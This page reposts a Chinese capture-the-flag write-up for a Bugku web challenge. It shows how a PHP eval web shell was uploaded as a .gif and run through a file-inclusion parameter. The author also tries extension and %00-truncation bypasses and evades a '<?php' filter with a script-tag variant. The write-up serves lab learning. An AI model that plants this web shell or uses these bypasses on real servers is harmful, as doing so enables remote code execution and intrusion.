IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> bugku web 文件上传2 -> 正文阅读

[PHP知识库]bugku web 文件上传2

题目:bugku 文件包含2

知识点:文件包含

工具:中国剑蚁

解题:

点开链接:

?

有点小炫酷的动画,除此之外没有什么信息,看一下源码:

?

发现注释中隐藏的upload.php,与题目的文件上传吻合了,现在思考怎么使用这个文件名,是直接访问还是如同默认页面一样,在file后传入文件名:

?

这里我们选择后者,比较幸运,成功了:

查看源码也并无玄机,看来应该到了上传文件的时候了。

文件上传通常需要我们做的是,上传一个恶意php脚本,然后我直接访问或者用菜刀、剑蚁之类的工具连接该脚本,其实核心思想即是服务器要认为这是一个脚本(这一题告诉我们真正重要的是可以执行)可以执行这个文件里的内容。

接下来想办法上传恶意脚本,首先没有客户端脚本对我们的上传进行限制,不过这个有没有关系不大,我们直接上传.gif,内容为<?php @eval($_POST[‘shell’])?>,然后抓包查看:

?

先根据常见的黑名单绕过方法,尝试修改文件后缀为.php .Php .PHP .pht .phpt .php3 .php5 .php6 .php7,果然全部失败

?

这时候再尝试一下%00截断,这个我之前听说过但是还没尝试过,这里需要好好记录一下。

%00截断(也可以是0x00,/00等等):%00等字符表示的是ascii码值为0的字符,学过C语言的童鞋应该了解,字符串都要以%0结尾,这里的道理是相同的,echo “hello%00123”;打印出的是hello,因为%00已经结尾了。要注意php的版本,高版本已经启用%00截断,有的版本需要在php.ini中设置开启。

%00截断在文件上传处的使用是这样一种情况,我们构造类似于这样的文件名,tmp.php%00.gif,服务器检测到.gif认为这在白名单内,允许上传,但是实际上由于字符串截断,上传了文件.php(不过我这里不太明白的是,我认为判断文加后缀的函数也应该检测到文件截断啊,有大佬知道的话,望告知)

修改文件名为 tmp.php%00gif后上传成功,但是结果显示它还是一个gif文件

?

我估计这应该是失败了,用剑蚁连接

http://114.67.246.176:14047/upload/202108010125546979.gif

果然失败了。

难道是要修改一些http首部吗?不确定,但是突然有了个想法上传文件的页面和默认页面都是通过file参数访问的,而且成功作为脚本文件加载了,那么我们直接访问file=tmp.gif行不行呢?

进行尝试:

?

虽然出现了点意外,这里应该是过滤了<?php ?>,但是这个结果告诉我们有戏。

这里要想一下,应该怎么去绕过,一般的写法有这几种:

<? echo ("这是一个 PHP 语言的嵌入范例\n"); ?>

<?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?>

<script language="php">

echo ("这是类似 JavaScript 及 VBScript 语法

的 PHP 语言嵌入范例");

</script>

<% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %>

依次尝试,发现<script language 这种写法成功了,直接用剑蚁连接

命令行使用grep和find没有权限,只有手动查找了。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-20 14:52:17  更:2021-08-20 14:53:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 16:53:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码